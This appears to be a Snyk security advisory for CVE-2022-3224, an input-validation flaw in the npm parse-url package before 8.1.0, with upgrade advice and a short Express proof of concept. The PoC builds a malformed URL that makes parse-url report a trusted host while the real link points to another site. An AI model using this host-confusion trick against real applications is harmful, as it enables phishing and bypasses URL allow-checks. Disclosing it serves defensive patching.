Improper Input Validation Affecting parse-url package, versions <8.1.0
Threat Intelligence
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-PARSEURL-3024398
- published 15 Sep 2022
- disclosed 15 Sep 2022
- credit Automne
Introduced: 15 Sep 2022
CVE-2022-3224 Open this link in a new tabHow to fix?
Upgrade parse-url
to version 8.1.0 or higher.
Overview
parse-url is an An advanced url parser supporting git urls too.
Affected versions of this package are vulnerable to Improper Input Validation due to incorrect parsing of URLs. This allows the attacker to craft a malformed URL which can lead to a phishing attack.
const parseUrl = require("parse-url");
const Url = require("url");
const express = require('express');
const app = express();
var url = "https://www.google.com:x@fakesite.com:x";
parsed = parseUrl(url);
console.log("[*]parse-url
output: ")
console.log(parsed);
parsed2 = Url.parse(url);
console.log("[*]url
output: ")
console.log(parsed2)
app.get('/', (req, res) => {
if (parsed.host == "www.google.com") {
res.send("<a href='" + parsed2.href + "'>CLICK ME!</a>")
}
})
app.listen(8888,"0.0.0.0");